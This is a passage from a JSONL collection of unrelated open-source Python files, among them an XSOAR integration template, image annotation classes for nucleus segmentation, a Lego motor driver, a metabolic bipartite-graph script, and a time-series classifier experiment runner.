{\"url\": url, \"raw_output\": output}\n try:\n output_json = json.loads(output)\n for k,v in output_json.items():\n result[k] = v\n except:\n pass\n return \"ok\", result\n except Exception as e:\n return \"mist file error\", {\"url\": url, \"output\": str(e)}\n finally:\n if os.path.abspath(os.path.curdir).endswith(\"mist_tmp_zip\"):\n os.chdir('..')\n os.system(\"rm -rf ./mist_tmp_zip\")\n return \"network error\", {\"url\": url, \"output\": str(req.status_code)}\n\n\n''' HELPER FUNCTIONS '''\n\n\n''' COMMAND FUNCTIONS '''\n\n\ndef test_module(client: Client) -> str:\n message: str = ''\n try:\n # TODO: ADD HERE some code to test connectivity and authentication to your service.\n # This should validate all the inputs given in the integration configuration panel,\n # either manually or by using an API that uses them.\n message = 'ok'\n except DemistoException as e:\n if 'Forbidden' in str(e) or 'Authorization' in str(e): # TODO: make sure you capture authentication errors\n message = 'Authorization Error: make sure API Key is correctly set'\n else:\n raise e\n return message\n\n\ndef baseintegration_dummy_command(client: Client, url, params = \"\") -> Tuple[str, dict]: #CommandResults:\n if not url:\n raise ValueError('url not specified')\n\n params_dict = {}\n if params:\n try:\n params_json = json.loads(params)\n for p in params_json:\n f = p.strip().split(\"=\")\n params_dict[f[0].strip()] = f[1].strip()\n except:\n raise ValueError('Malformed params.')\n\n # Call the Client function and get the raw response\n result = client.baseintegration_dummy(url, params_dict)\n\n # return CommandResults(\n # outputs_prefix='BaseIntegration',\n # outputs_key_field='',\n # outputs=result,\n # )\n #return \"BaseIntegration.Output\", {}, result\n return result\n \n# TODO: ADD additional command functions that translate XSOAR inputs/outputs to Client\n\n\n''' MAIN FUNCTION '''\n\ndef main():\n params = demisto.params() # Lo de la seccion de configuracion. Estos es la comnfigutacion de la instancia\n args = demisto.args() # Argumentos de la integracion (playbook)\n command = demisto.command() # El nombre del comando (playbook)\n client = Client(\n \"\",\n False\n #argToList(params.get('urls')),\n # params.get('credentials', {}).get('identifier'),\n # params.get('credentials', {}).get('password'),\n # params['database'],\n # bool(params.get('use_ssl', False)),\n # bool(params.get('insecure', False))\n )\n commands = {\n 'test-module': test_module,\n 'baseintegration-dummy': baseintegration_dummy_command\n }\n try:\n return_outputs(*commands[command](client, **args)) # type: ignore[operator]\n except Exception as e:\n return_error(f'MistLang: {str(e)}', error=e)\n\n\n''' ENTRY POINT '''\nif __name__ in ('__main__', '__builtin__', 'builtins'):\n main()\n", "source": "BBVA/MIST", "license": "Apache-2.0"} {"text": "import string\ntranslator_num = {'zero': '\u043d\u043e\u043b\u044c', 'one': '\u043e\u0434\u0438\u043d', 'two': '\u0434\u0432\u0430', 'three': '\u0442\u0440\u0438', 'four': '\u0447\u0435\u0442\u044b\u0440\u0435', 'five': '\u043f\u044f\u0442\u044c',\n 'six': '\u0448\u0435\u0441\u0442\u044c', 'seven': '\u0441\u0435\u043c\u044c', 'eight': '\u0432\u043e\u0441\u0435\u043c\u044c', 'nine': '\u0434\u0435\u0432\u044f\u0442\u044c', 'ten': '\u0434\u0435\u0441\u044f\u0442\u044c'}\n\n\ndef num_translate_adv(user_n: str) -> str:\n \"\"\"\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043e\u0442 \u043d\u0443\u043b\u044f \u0434\u043e 10 \u043f\u043e \u043a\u043b\u044e\u0447\u0443,\u0435\u0441\u043b\u0438 \u043a\u043b\u044e\u0447\u0430 \u043d\u0435\u0442 \u0432\u043e\u0437\u0432\u0440\u043e\u0449\u0430\u0435\u0442 None\"\"\"\n if user_n not in translator_num:\n for n in string.ascii_uppercase:\n if n in str(user_n):\n if user_n.lower() not in translator_num:\n return translator_num.get(user_n)\n else:\n return (translator_num[user_n.lower()]).capitalize()\n else:\n return translator_num[user_n]\n\n\ntranslate = num_translate_adv(str(input('\u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0430')))\nprint(translate)\n", "source": "DariaShidova/1824_GB_Python_1", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\n\nclass Guild:\n def __init__(self, data=None):\n self.id: str = \"\"\n self.name: str = \"\"\n self.icon: str = \"\"\n self.owner_id: str = \"\"\n self.owner: bool = False\n self.member_count: int = 0\n self.max_members: int = 0\n self.description: str = \"\"\n self.joined_at: str = \"\"\n if data:\n self.__dict__ = data\n", "source": "SuperKuroko/botpy", "license": "MIT"} {"text": "import cv2\nimport numpy as np\nfrom tifffile import imread\nimport random\nimport os\n\nclass AnnotatedObject:\n mean_x = 0\n mean_y = 0\n min_x = 0\n min_y = 0\n max_x = 0\n max_y = 0\n img_ind = 0\n\n def __init__(self,img_ind = 0,obj_ind = 0, mean_x = None, mean_y = None, min_x = None, min_y = None, max_x = None, max_y = None):\n self.img_ind = img_ind\n self.obj_ind = obj_ind\n self.mean_x = mean_x\n self.mean_y = mean_y\n self.min_x = min_x\n self.min_y = min_y\n self.max_x = max_x\n self.max_y = max_y\n\nclass Image:\n\n raw = 0\n\n def pre_process_img(img, color='gray'):\n if color is 'gray':\n try:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n except:\n e=1 #print(\"Error in Conversion to grayscale: maybe already grayscale?\")\n elif color is 'rgb':\n img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\n else:\n pass\n if ((img.dtype == 'int16') or (img.dtype == 'uint16')):\n print (img.dtype)\n max_097_value = np.percentile(img,99.5)\n print(\"Image type 16 Bit \\n\")\n print(\"Max value: \" + str(max_097_value) + \"\\n\")\n img_new = img.astype(np.float32) / float(max_097_value)\n print (img_new.dtype)\n img = img_new * 255.0\n img = img.astype(np.float32)\n else:\n img = img.astype(np.float32)\n img /= 255.0\n cv2.imwrite(r\"/root/flo/tmp/test.jpg\",img)\n return img\n\n def getRaw(self):\n return self.raw\n\nclass AnnotatedImage(Image):\n\n mask = 0\n\n def readFromPath(self,image_path,mask_path):\n print(\"Reading image \" + image_path)\n if os.path.basename(image_path).split('.')[1] == 'jpg':\n self.raw = Image.pre_process_img(cv2.imread(image_path),color='gray')\n else:\n self.raw = Image.pre_process_img(imread(image_path),color='gray')\n if os.path.basename(mask_path).split('.')[1] == 'jpg':\n self.mask = cv2.imread(mask_path)\n else:\n self.mask = imread(mask_path)\n\n def readFromPathOnlyImage(self,image_path):\n if os.path.basename(image_path).split('.')[1] == 'jpg':\n self.raw = Image.pre_process_img(cv2.imread(image_path),color='gray')\n else:\n self.raw = Image.pre_process_img(imread(image_path),color='gray')\n self.mask = np.zeros_like(self.raw,dtype=np.uint8)\n\n def createWithArguments(self,image,mask):\n self.raw = image\n self.mask = mask\n def getMask(self):\n return self.mask\n def getCroppedAnnotatedImage(self,annotation):\n tmp = AnnotatedImage()\n tmp.createWithArguments(self.raw[annotation.min_x:annotation.max_x,annotation.min_y:annotation.max_y] * (self.mask[annotation.min_x:annotation.max_x,annotation.min_y:annotation.max_y]==annotation.obj_ind).astype(np.uint8),self.mask[annotation.min_x:annotation.max_x,annotation.min_y:annotation.max_y]==annotation.obj_ind)\n return tmp\n def getMeanMaskObjectSize(self):\n total_sum = np.uint64(0);\n for i in range(self.mask.max()):\n total_sum = total_sum + np.square((self.mask==(i+1)).sum())\n A = np.sqrt(total_sum / self.mask.max())\n return (2*np.sqrt(A/np.pi)).astype(np.int16)\n\nclass ArtificialAnnotatedImage(AnnotatedImage):\n\n running_mask = 0\n number_nuclei = 0\n griddy = 0\n\n def __init__(self,width=None,height=None, number_nuclei = None, probabilityOverlap=0):\n self.raw = np.zeros((height,width))\n self.mask = np.zeros((height,width))\n self.number_nuclei = number_nuclei\n self.griddy = gridIterable(width=width,height=height,nrObjects=number_nuclei,probabilityOverlap=probabilityOverlap)\n\n def addImageAtRandomPosition(self,image):\n rand_x = random.randint(0,int(self.raw.shape[0]-image.getRaw().shape[0]))\n rand_y = random.randint(0,int(self.raw.shape[1] - image.getRaw().shape[1]))\n\n [x, y] = np.where(image.getMask() == 1)\n self.raw[x+rand_x, y+rand_y] = image.getRaw()[x, y]\n self.running_mask = self.running_mask + 1\n self.mask[x+rand_x, y+rand_y] = image.getMask()[x, y] + self.running_mask\n\n def addImageAtGridPosition(self,image):\n pos = self.griddy.next()\n #print('minx: ' + str(pos.minx) + ', maxx: ' + str(pos.maxx) + ', miny: ' + str(pos.miny) + ', maxy: ' + str(pos.maxy))\n rand_x = random.randint(pos.minx,pos.maxx)\n rand_y = random.randint(pos.miny,pos.maxy)\n [x, y] = np.where(image.getMask() == 1)\n tmp = image.getRaw()\n tmp_mask = image.getMask()\n for i in range(0,x.__len__()):\n try:\n if (((x[i] + rand_x) > 0 ) & ((y[i] + rand_y) > 0 )):\n self.raw[x[i] + rand_x, y[i] + rand_y] = tmp[x[i], y[i]]\n self.mask[x[i] + rand_x, y[i] + rand_y] = tmp_mask[x[i], y[i]] + self.running_mask\n except:\n e=0\n self.running_mask = self.running_mask + 1\n return 1\n #try:\n # self.raw[x+rand_x, y+rand_y] = image.getRaw()[x, y]\n # self.running_mask = self.running_mask + 1\n # self.mask[x+rand_x, y+rand_y] = image.getMask()[x, y] + self.running_mask\n # return 1\n #except:\n # return 0\n\n def transformToArtificialImage(image=None,useBorderObjects=False):\n raw = np.zeros((image.getRaw().shape[0],image.getRaw().shape[1]))\n mask = np.zeros((image.getRaw().shape[0],image.getRaw().shape[1]))\n running_mask = 0\n #for i in range(1, image.getMask().max()+1):\n for i in np.unique(image.getMask()):\n if i > 0:\n [x, y] = np.where(image.getMask() == i)\n #if (x.__len__() > 0):\n #if (~useBorderObjects): # border objects excluding could be implemented\n # if ~((x.min() == 0) | (y.min() == 0) | (x.max() == image.getRaw().shape[0]) | (y.max() == image.getRaw().shape[1])):\n raw[x, y] = image.getRaw()[x, y]\n running_mask = running_mask + 1\n mask[x, y] = image.getMask()[x, y] + running_mask\n ret_img = AnnotatedImage()\n ret_img.createWithArguments(raw,mask)\n return ret_img\n\nclass AnnotatedObjectSet:\n images = []\n objects = []\n path_to_imgs = []\n\n def addObjectImage(self,image=None,useBorderObjects=False, path_to_img=None):\n self.images.append(image)\n if path_to_img:\n self.path_to_imgs.append(path_to_img)\n curr_img_index = self.images.__len__() - 1\n for i in range(1,image.getMask().max()+1):\n [x, y] = np.where(cv2.dilate((image.getMask() == i).astype(np.uint8),np.ones((5,5),np.uint8),iterations = 1))\n if (x.__len__() > 0):\n if (~useBorderObjects):\n if ~((x.min() == 0) | (y.min() == 0) | (x.max() == image.getRaw().shape[0]) | (y.max() == image.getRaw().shape[1])):\n self.objects.append(AnnotatedObject(img_ind = curr_img_index, obj_ind = i, mean_x = x.mean(),mean_y = y.mean(),min_x = x.min(), min_y = y.min(),max_x = x.max(), max_y = y.max()))\n\n def returnArbitraryObject(self):\n rand_int = random.randint(0,self.objects.__len__()-1)\n return self.images[self.objects[rand_int].img_ind].getCroppedAnnotatedImage(self.objects[rand_int])\n\nclass gridIterable:\n\n def __init__(self,width=0,height=0,nrObjects=0,probabilityOverlap = 0):\n self.width=width\n self.height = height\n self.nrObjects = nrObjects\n self.nr_x = self.nr_y = np.sqrt(nrObjects)\n self.stepX = self.width / (self.nr_x-1)\n self.stepY = self.height / (self.nr_y-1)\n self.probabilityOverlap = 1-probabilityOverlap\n self.curr_ind = 0\n\n def __iter__(self):\n return self\n\n def next(self):\n if (self.curr_ind <= (self.nrObjects)):\n self.curr_ind = self.curr_ind + 1\n row = np.ceil(self.curr_ind / self.nr_x)\n column = self.curr_ind - self.nr_x * (row-1)\n a = Rectangle(minx=round(0+(column-1)*self.stepX + (self.stepX/2) * self.probabilityOverlap),maxx=round(0+column*self.stepX - (self.stepX/2) * self.probabilityOverlap-1),miny=round(0+(row-1)*self.stepY + (self.stepY/2) * self.probabilityOverlap),maxy=round(0+row*self.stepY - (self.stepY/2) * self.probabilityOverlap-1))\n\n return a\n else:\n raise StopIteration()\n\nclass Rectangle:\n def __init__(self,minx=None,maxx=None,miny=None,maxy=None):\n self.minx = minx\n self.maxx = maxx\n self.miny = miny\n self.maxy = maxy\n", "source": "perlfloccri/DeepFLEX", "license": "MIT"} {"text": "\nversion_info = (0, 2, 2)\n__version__ = \".\".join(map(str, version_info))\n\ntry:\n from geventwebsocket.websocket import WebSocket\nexcept ImportError:\n import traceback\n traceback.print_exc()\n", "source": "youen/gevent-websocket", "license": "BSD-3-Clause"} {"text": "from django.contrib import admin\nfrom apps.page.models import Page\n\nadmin.site.register(Page)\n", "source": "TeijiW/finances", "license": "MIT"} {"text": "\nfrom requests import Session\n\nurl = 'http://localhost:8001'\ns = Session()\ntask = s.post(url + '/sum', headers={'Type': 'worker'})\nwhile True:\n response = {'result': task['a'] + task['b']}\n task = s.post(url, json=response)\n", "source": "kokizzu/ijson", "license": "MIT"} {"text": "#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\nFile : run.py\nAuthor : Zerui Qin\nCreateDate : 2019-05-22 23:48:29 \nNote : \n\"\"\"\n\nimport threading\n\nfrom watero_go.agent_client import AgentClient\n\n\ndef bundle_send(p_data_service):\n try:\n h_status = p_data_service.heartbeat()\n r_status = p_data_service.resource()\n except Exception as e:\n pass\n timer = threading.Timer(60, bundle_send, args=[p_data_service, ])\n timer.start()\n\n\nif __name__ == '__main__':\n client = AgentClient('v1')\n data_service = client.get_service('base_service')\n data_service.auth()\n bundle_send(data_service)\n", "source": "Qinnnnnn/Watero_Go", "license": "MIT"} {"text": "from micropython import const\nimport uos as os\nimport utime as time\nimport machine\nimport ustruct\nimport i2c_bus, module\n\n\nM5GO_WHEEL_ADDR = const(0x56)\nMOTOR_CTRL_ADDR = const(0x00)\nENCODER_ADDR = const(0x04)\n\nmotor1_pwm = 0\nmotor2_pwm = 0\n\ndef dead_area(amt, low, low_up, high, high_up):\n if amt > low_up and amt < high_up:\n amt = 0\n elif amt > high_up and amt < high:\n amt = high\n elif amt > low and amt < low_up:\n amt = low\n return amt \n\ndef constrain(amt, low, high):\n if amt < low:\n return low\n if amt > high:\n return high\n return amt\n\n\nclass Lego_Motor:\n def __init__(self, port):\n self.i2c = i2c_bus.get(i2c_bus.M_BUS)\n self._available()\n self._available()\n self.port = port\n self._position = 0\n self.updateTime = 0\n\n def _available(self):\n if self.i2c.is_ready(M5GO_WHEEL_ADDR) or self.i2c.is_ready(M5GO_WHEEL_ADDR):\n pass\n else:\n raise module.Module(\"Bala maybe not connect\")\n\n def stop(self):\n self.set_pwm(0)\n\n def set_pwm(self, pwm):\n global motor1_pwm, motor2_pwm\n if self.port == 1:\n motor1_pwm = pwm\n else:\n motor2_pwm = pwm\n buf = ustruct.pack(' 20:\n self.updateTime = time.ticks_ms()\n self._position = self._position + self._read_encoder()\n\n def run_to(self, pos, speed):\n error_last_1 = 0\n pwm_last = [255, 255, 255, 255]\n self.position_update()\n _distance = pos\n pwm_now = 0\n kp = 0.85\n kd = 7.0\n\n tick_now = time.ticks_ms()\n num = 0\n while True:\n time.sleep_ms(1)\n if time.ticks_ms() - tick_now > 10:\n tick_now = time.ticks_ms()\n error = _distance - self.read_encoder()\n pwm_now = kp*error + kd*(error-error_last_1)\n pwm_now = constrain(pwm_now, -speed, speed)\n pwm_now = dead_area(pwm_now, -100, -3, 100, 3)\n pwm_now = -pwm_now\n error_last_1 = error\n pwm_last = pwm_last[1:4]\n if -15 < error < 15:\n num += 1\n else:\n num = 0\n if num > 10:\n self.set_pwm(0)\n break\n self.set_pwm(pwm_now)\n pwm_last.append(pwm_now)\n if pwm_last == [0, 0, 0, 0]:\n break\n\n def run_distance(self, distance=500, speed=255):\n error_last_1 = 0\n pwm_last = [255, 255, 255, 255]\n _distance = self.read_encoder() + distance\n pwm_now = 0\n kp = 0.85\n kd = 7.0\n\n tick_now = time.ticks_ms()\n num = 0\n while True:\n time.sleep_ms(1)\n if time.ticks_ms() - tick_now > 10:\n tick_now = time.ticks_ms()\n self.position_update()\n error = _distance - self.read_encoder()\n pwm_now = kp*error + kd*(error-error_last_1)\n pwm_now = constrain(pwm_now, -speed, speed)\n pwm_now = dead_area(pwm_now, -100, -3, 100, 3)\n pwm_now = -pwm_now\n error_last_1 = error\n pwm_last = pwm_last[1:4]\n if -15 < error < 15:\n num += 1\n else:\n num = 0\n if num > 10:\n self.set_pwm(0)\n break\n self.set_pwm(pwm_now)\n pwm_last.append(pwm_now)\n if pwm_last == [0, 0, 0, 0]:\n break\n \n def deinit(self):\n pass\n\nclass Lego:\n def __init__(self):\n self.M1 = Lego_Motor(1)\n self.M2 = Lego_Motor(2)\n \n def deinit(self):\n self.M1.deinit()\n self.M2.deinit()", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "\n# Use: python bipartite_graph.py full_KO_list KOs_with_zscores \n\nimport sys\nimport os\nimport pickle\nimport math\n\n# Set starting path\nstarting_directory = str(os.getcwd())\nscript_path = str(os.path.dirname(os.path.realpath(__file__)))\n\n# Create dictionary for zscores of each KO\nzscore_infile = open(sys.argv[2], 'r')\nzscore_dictionary = {}\nfor index in zscore_infile:\n\tindex_split = index.split()\n\tzscore_dictionary[index_split[0]] = float(index_split[1])\n\n# Read in pickled KO to reaction dictionary\nko_reactionpkl_path = '../data/ko_reaction.pkl'\nko_dict = pickle.load(open(ko_reactionpkl_path, 'rb'))\n\n# Read in pickled reaction to reaction_mapformula dictionary\nreaction_mapformulapkl_path = '../data/reaction_mapformula.pkl'\nreaction_dict = pickle.load(open(reaction_mapformulapkl_path, 'rb'))\n\ninfile = open(sys.argv[1], 'r') # Total KO list for the organism of interest\n\ninfile_name = str(sys.argv[1]).split('/')[-1]\ninfile_name = infile_name.split('.')[0]\n\n\n# get condition from second input file\n\n\n\ndirectory = '../results/' + infile_name + '.bipartite.files'\nif not os.path.exists(directory):\t\n\tos.makedirs(directory)\nos.chdir(directory)\nprint('Output files located in: ' + directory)\n\noutfile_name = infile_name + '.bipartite.graph'\noutfile = open(outfile_name,'w')\n\n# Create file for reporting key errors\nerrorfile_name = infile_name + '.key_error_log.txt'\nerrorfile = open(errorfile_name, 'w')\n\ntriedCountKO = 0\nexcludedCountKO = 0\ntriedCountReact = 0\nexcludedCountReact = 0\ntotalIncludedReact = 0\n\ncompound_list = []\nnetwork_list = []\nzscore_list = []\n\n# Nested loops to finally convert the KO list to a directed graph of input and output compounds\t\nfor line in infile:\n\tcurrent_ko = str(line.split()[1]).strip('ko:')\n\ttriedCountKO += 1\n\t\t\t\n\ttry:\n\t\treaction_number = ko_dict[current_ko]\n\texcept KeyError:\n\t\terrorString = 'WARNING: ' + str(current_ko) + ' not found in KO-to-Reaction dictionary. Omitting.\\n'\n\t\terrorfile.write(errorString)\n\t\texcludedCountKO += 1\n\t\tcontinue # Go to next iteration since this data is necessary\n\t\t\n\tfor index in reaction_number:\n\t\ttriedCountReact += 1\n\t\ttry:\n\t\t\treaction_collection = reaction_dict[index]\n\t\texcept KeyError:\n\t\t\terrorString = 'WARNING: ' + str(index) + ' not found in Reaction-to-Compound dictionary. Omitting.\\n'\n\t\t\terrorfile.write(errorString)\n\t\t\texcludedCountReact += 1\n\t\t\tcontinue\n\t\t\n\t\tfor x in reaction_collection:\n\t\t\ttotalIncludedReact += 1\n\t\t\t# Spit reaction input and output as well as the list of compounds with each\n\t\t\treaction_info = x.split(':')\n\t\t\tinput_compounds = reaction_info[0].split('|')\n\t\t\toutput_compounds = reaction_info[2].split('|')\n\t\t\t\t\t\t\n\t\t\tfor input_index in input_compounds:\n\t\t\t\tnetwork_list.append(''.join([str(input_index), '\\t', str(current_ko), '\\n']))\n\t\t\t\tcompound_list.append(str(input_index))\n\t\t\t\n\t\t\tfor output_index in output_compounds:\n\t\t\t\tnetwork_list.append(''.join([str(current_ko), '\\t', str(output_index), '\\n']))\n\t\t\t\tcompound_list.append(str(output_index))\n\nerrorfile.write(''.join(['KOs successfully translated to Reactions: ', str(triedCountKO - excludedCountKO), '\\n']))\nerrorfile.write(''.join(['KOs unsuccessfully translated to Reactions: ', str(excludedCountKO), '\\n']))\n\nerrorfile.write(''.join(['Reactions successfully translated to Compounds: ', str(triedCountReact - excludedCountReact), '\\n']))\nerrorfile.write(''.join(['Reactions unsuccessfully translated to Compounds: ', str(excludedCountReact), '\\n']))\n\nerrorfile.close()\n\nnetwork_list = list(set(network_list))\ncompound_list = list(set(compound_list))\n\ninput_zscore_dict = {}\noutput_zscore_dict = {}\ncomposite_zscore_dict = {}\n\nfor index in network_list:\n\toutfile.write(index)\n\tedge_info = index.split()\n\t\n\t# Output\n\tif edge_info[0][0] == 'K':\n\t\tif not edge_info[1] in output_zscore_dict.keys():\n\t\t\n\t\t\ttry:\n\t\t\t\ttemp_zscore = zscore_dictionary[edge_info[0]]\n\t\t\texcept KeyError:\n\t\t\t\ttemp_zscore = 0\n\t\t\n\t\t\toutput_zscore_dict[edge_info[1]] = [temp_zscore]\n\t\telse:\n\t\t\toutput_zscore_dict[edge_info[1]].append(temp_zscore)\n\t\t\n\t\t# Composite\t1\n\t\tif not edge_info[1] in composite_zscore_dict.keys():\n\t\t\t\n\t\t\ttry:\n\t\t\t\ttemp_zscore = zscore_dictionary[edge_info[0]]\n\t\t\texcept KeyError:\n\t\t\t\ttemp_zscore = 0\n\t\t\n\t\t\tcomposite_zscore_dict[edge_info[1]] = [temp_zscore]\n\t\telse:\n\t\t\tcomposite_zscore_dict[edge_info[1]].append(temp_zscore)\n\t\tcontinue\n\t\t\n\n\t# Input\n\telif edge_info[1][0] == 'K':\n\t\tif not edge_info[0] in input_zscore_dict.keys():\n\t\t\ttry:\n\t\t\t\ttemp_zscore = zscore_dictionary[edge_info[1]]\n\t\t\texcept KeyError:\n\t\t\t\ttemp_zscore = 0\n\t\t\t\n\t\t\tinput_zscore_dict[edge_info[0]] = [temp_zscore]\n\t\t\t\n\t\telse:\n\t\t\tinput_zscore_dict[edge_info[0]].append(temp_zscore)\n\t\t\n\t\t# Composite\t2\n\t\tif not edge_info[0] in composite_zscore_dict.keys():\n\t\t\ttry:\n\t\t\t\ttemp_zscore = zscore_dictionary[edge_info[1]]\n\t\t\texcept KeyError:\n\t\t\t\ttemp_zscore = 0\n\t\t\t\t\n\t\t\tcomposite_zscore_dict[edge_info[0]] = [temp_zscore]\n\t\telse:\n\t\t\tcomposite_zscore_dict[edge_info[0]].append(temp_zscore)\n\noutfile.close()\n\n\n# create and open composite compound zscore files\ninputscorefile_name = infile_name + '.input_zscore.txt'\ninputscorefile = open(inputscorefile_name, 'w')\n\noutputscorefile_name = infile_name + '.output_zscore.txt'\noutputscorefile = open(outputscorefile_name, 'w')\n\ncompositescorefile_name = infile_name + '.composite_zscore.txt'\ncompositescorefile = open(compositescorefile_name, 'w')\n\nfor index in compound_list:\n\t\n\ttry:\n\t\tinput_scores = input_zscore_dict[index]\n\t\tfinal_score = sum(input_scores) / math.sqrt(len(input_scores))\n\t\tinputscorefile.write('\\t'.join([index, str(final_score), '\\n']))\n\texcept KeyError:\n\t\tpass\n\t\n\ttry:\n\t\toutput_scores = output_zscore_dict[index]\n\t\tfinal_score = sum(output_scores) / math.sqrt(len(output_scores))\n\t\toutputscorefile.write('\\t'.join([index, str(final_score), '\\n']))\n\texcept KeyError:\n\t\tpass\n\t\n\ttry:\t\n\t\tcomposite_scores = composite_zscore_dict[index]\n\t\tfinal_score = sum(composite_scores) / math.sqrt(len(composite_scores))\n\t\tcompositescorefile.write('\\t'.join([index, str(final_score), '\\n']))\n\texcept KeyError:\n\t\tpass\n\t\t\n\t\t\ninputscorefile.close()\noutputscorefile.close()\ncompositescorefile.close()\nos.chdir(starting_directory)\t\t\n\n", "source": "mjenior/bipartite_graphs", "license": "CC0-1.0"} {"text": "\"\"\"\r\nWanted Poster\r\n\"\"\"\r\n\r\n__author__ = \"Joel Chapon\"\r\n__email__ = \"joel.chapon@student.kdg.be\"\r\n__status__ = \"Finished\"\r\n\r\nfrom guizero import App, Text, Picture\r\n\r\ndef main():\r\n WIT = \"#FFFFFF\"\r\n BACKGRD_CLR = \"#000B18\"\r\n window = App(\"DM for reward!\")\r\n window.bg = BACKGRD_CLR\r\n wanted_text = Text(window, \"Wanted!\")\r\n wanted_text.size = 50\r\n wanted_text.text_color = WIT\r\n wanted_text.font= \"Calibri\"\r\n cat = Picture(window, image=\"pictures/tabitha.png\")\r\n cat.resize(500, 500)\r\n\r\n\r\n window.display()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n", "source": "cjgreencorner/Guizero", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"Experiments: code to run experiments as an alternative to orchestration.\n\nThis file is configured for runs of the main method with command line arguments, or for\nsingle debugging runs. Results are written in a standard format\ntodo: Tidy up this file!\n\"\"\"\n\nimport os\n\nimport sklearn.preprocessing\nimport sklearn.utils\n\n\n\nos.environ[\"MKL_NUM_THREADS\"] = \"1\" # must be done before numpy import!!\nos.environ[\"NUMEXPR_NUM_THREADS\"] = \"1\" # must be done before numpy import!!\nos.environ[\"OMP_NUM_THREADS\"] = \"1\" # must be done before numpy import!!\n\nimport sys\nimport time\nimport numpy as np\nimport pandas as pd\n\n\nfrom sklearn import preprocessing\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import cross_val_predict\nfrom sktime.contrib.experiments import run_experiment\nfrom sktime.datasets.base import load_UCR_UEA_dataset\nfrom sktime.contrib.experiments import write_results_to_uea_format\n\n\nfrom sktime_dl.classification import CNNClassifier\nfrom sktime_dl.classification import (\n CNNClassifier,\n CNTCClassifier,\n EncoderClassifier,\n FCNClassifier,\n InceptionTimeClassifier,\n LSTMFCNClassifier,\n MCDCNNClassifier,\n MCNNClassifier,\n MLPClassifier,\n ResNetClassifier,\n TLENETClassifier,\n TWIESNClassifier,\n)\n\n__author__ = [\"Tony Bagnall\"]\n\n\"\"\"Prototype mechanism for testing classifiers on the UCR format. This mirrors the\nmechanism used in Java,\nhttps://github.com/TonyBagnall/uea-tsc/tree/master/src/main/java/experiments\nbut is not yet as engineered. However, if you generate results using the method\nrecommended here, they can be directly and automatically compared to the results\ngenerated in java\n\n\"\"\"\n\nestimator_list = [\n \"CNNClassifier\",\n \"EncoderClassifier\",\n \"FCNClassifier\",\n \"InceptionTimeClassifier\",\n \"MCDCNNClassifier\",\n \"MCNNClassifier\",\n \"MLPClassifier\",\n \"ResNetClassifier\",\n \"TLENETClassifier\",\n \"TWIESNClassifier\",\n]\n\n#classifier_list = [\"cnn\", \"encode\", \"fcn\", \"lstm\", \"mcdcnn\", \"mcnn\", \"mlp\", \"resnet\", \"tlenet\", \"twiesn\"]\nclassifier_list = [\"cnn\"]\n\n\n\ndef set_classifier(cls, resampleId=None):\n \"\"\"Construct a classifier.\n\n Basic way of creating the classifier to build using the default settings. This\n set up is to help with batch jobs for multiple problems to facilitate easy\n reproducability. You can set up bespoke classifier in many other ways.\n\n Parameters\n ----------\n cls: String indicating which classifier you want\n resampleId: classifier random seed\n\n Return\n ------\n A classifier.\n \"\"\"\n name = cls.lower()\n # Convolutional\n if name == \"cnn\" or name == \"cnnclassifier\":\n return CNNClassifier(random_state=resampleId)\n elif name == \"encode\":\n return EncoderClassifier()\n elif name == \"fcn\":\n return FCNClassifier()\n elif name == \"inceptiontime\":\n return InceptionTimeClassifier()\n elif name == \"mcdcnn\":\n return MCDCNNClassifier()\n elif name == \"mcnn\":\n return MCNNClassifier()\n elif name == \"mlp\":\n return MLPClassifier()\n elif name == \"resnet\":\n return ResNetClassifier()\n elif name == \"tlenet\":\n return TLENETClassifier()\n elif name == \"twiesn\":\n return TWIESNClassifier()\n else:\n raise Exception(\"UNKNOWN CLASSIFIER\")\n\n\ndef run_experiment(\n results_path,\n trainX, trainY,\n testX, testY,\n cls_name,\n dataset,\n classifier=None,\n resampleID=0,\n overwrite=False,\n format=\".ts\",\n train_file=False,\n):\n \"\"\"Run a classification experiment.\n\n Method to run a basic experiment and write the results to files called\n testFold.csv and, if required, trainFold.csv.\n\n Parameters\n ----------\n problem_path: Location of problem files, full path.\n results_path: Location of where to write results. Any required directories\n will be created\n cls_name: determines which classifier to use, as defined in set_classifier.\n This assumes predict_proba is\n implemented, to avoid predicting twice. May break some classifiers though\n dataset: Name of problem. Files must be //+\n \"_TRAIN\"+format, same for \"_TEST\"\n resampleID: Seed for resampling. If set to 0, the default train/test split\n from file is used. Also used in output file name.\n overwrite: if set to False, this will only build results if there is not a\n result file already present. If\n True, it will overwrite anything already there\n format: Valid formats are \".ts\", \".arff\" and \".long\".\n For more info on format, see examples/Loading%20Data%20Examples.ipynb\n train_file: whether to generate train files or not. If true, it performs a\n 10xCV on the train and saves\n \"\"\"\n build_test = True\n if not overwrite:\n full_path = (\n str(results_path)\n + \"/\"\n + str(cls_name)\n + \"/Predictions/\"\n + str(dataset)\n + \"/testFold\"\n + str(resampleID)\n + \".csv\"\n )\n if os.path.exists(full_path):\n print(\n full_path\n + \" Already exists and overwrite set to false, not building Test\"\n )\n build_test = False\n if train_file:\n full_path = (\n str(results_path)\n + \"/\"\n + str(cls_name)\n + \"/Predictions/\"\n + str(dataset)\n + \"/trainFold\"\n + str(resampleID)\n + \".csv\"\n )\n if os.path.exists(full_path):\n print(\n full_path\n + \" Already exists and overwrite set to false, not building Train\"\n )\n train_file = False\n if train_file == False and build_test == False:\n return\n\n # TO DO: Automatically differentiate between problem types,\n # currently only works with .ts\n #trainX, trainY = load_ts(problem_path + dataset + \"/\" + dataset + \"_TRAIN\" +\n # format)\n #testX, testY = load_ts(problem_path + dataset + \"/\" + dataset + \"_TEST\" + 